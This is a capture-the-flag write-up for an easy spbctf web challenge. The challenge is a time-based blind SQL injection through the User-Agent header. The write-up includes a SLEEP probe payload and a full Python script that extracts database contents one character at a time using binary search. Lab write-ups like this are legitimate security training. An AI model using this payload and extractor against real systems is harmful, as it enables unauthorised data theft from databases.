NSA
NSA
Platform: spbctf | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: binary_search_extraction, header_injection, time_based_blind_sqli
Summary
Task: Time-based blind SQL injection via User-Agent header. Solution: Binary search extraction using SLEEP() with modified HTTP headers.
NSA — Web Kids 2.0
Description
Time-based blind SQL injection task at http://kslweb1.spb.ctf.su/sqli/time2/
Analysis
The task is similar to time1, but the injection point is not in a form field but in the User-Agent HTTP header. The server processes User-Agent and saves/uses it in an SQL query without proper sanitization.
Key indicators:
- No visible SQL query output (blind)
- Server uses MySQL (SLEEP() support)
- User-Agent is processed on the backend
Solution
Step 1: Discovering the injection point
Send a request with a modified User-Agent containing SLEEP():
User-Agent: ' OR SLEEP(5)-- -
If the server delays the response by ~5 seconds — injection is confirmed.
Step 2: Extracting the flag character by character
Using time-based blind SQLi with binary search for optimization:
python read-only • copy allowed#!/usr/bin/env python3 """ Time-based blind SQLi via User-Agent header Target: http://kslweb1.spb.ctf.su/sqli/time2/ """ import requests import time import string URL = "http://kslweb1.spb.ctf.su/sqli/time2/" SLEEP_TIME = 2 THRESHOLD = 1.5 # If response takes longer than this — condition is true def check_condition(condition): """Checks condition via time-based SQLi""" payload = f"' OR IF({condition}, SLEEP({SLEEP_TIME}), 0)-- -" headers = {"User-Agent": payload} start = time.time() try: requests.get(URL, headers=headers, timeout=SLEEP_TIME + 3) except requests.Timeout: return True elapsed = time.time() - start return elapsed > THRESHOLD def extract_char_binary(position, table="flag", column="flag"): """Extracts character at position using binary search""" low, high = 32, 126 while low < high: mid = (low + high) // 2 condition = f"ASCII(SUBSTRING((SELECT {column} FROM {table} LIMIT 1),{position},1))>{mid}" if check_condition(condition): low = mid + 1 else: high = mid return chr(low) if low > 32 else None def extract_flag(): """Extracts the complete flag""" flag = "" position = 1 print("[*] Extracting flag via User-Agent time-based SQLi...") while True: char = extract_char_binary(position) if char is None or char == ' ': break flag += char print(f"[+] Position {position}: {char} -> {flag}") position += 1 # Check for end of flag if flag.endswith("}"): break return flag if __name__ == "__main__": flag = extract_flag() print(f"\n[+] Flag: {flag}")
Step 3: Running and obtaining the flag
bash read-only • copy allowedpython3 solve.py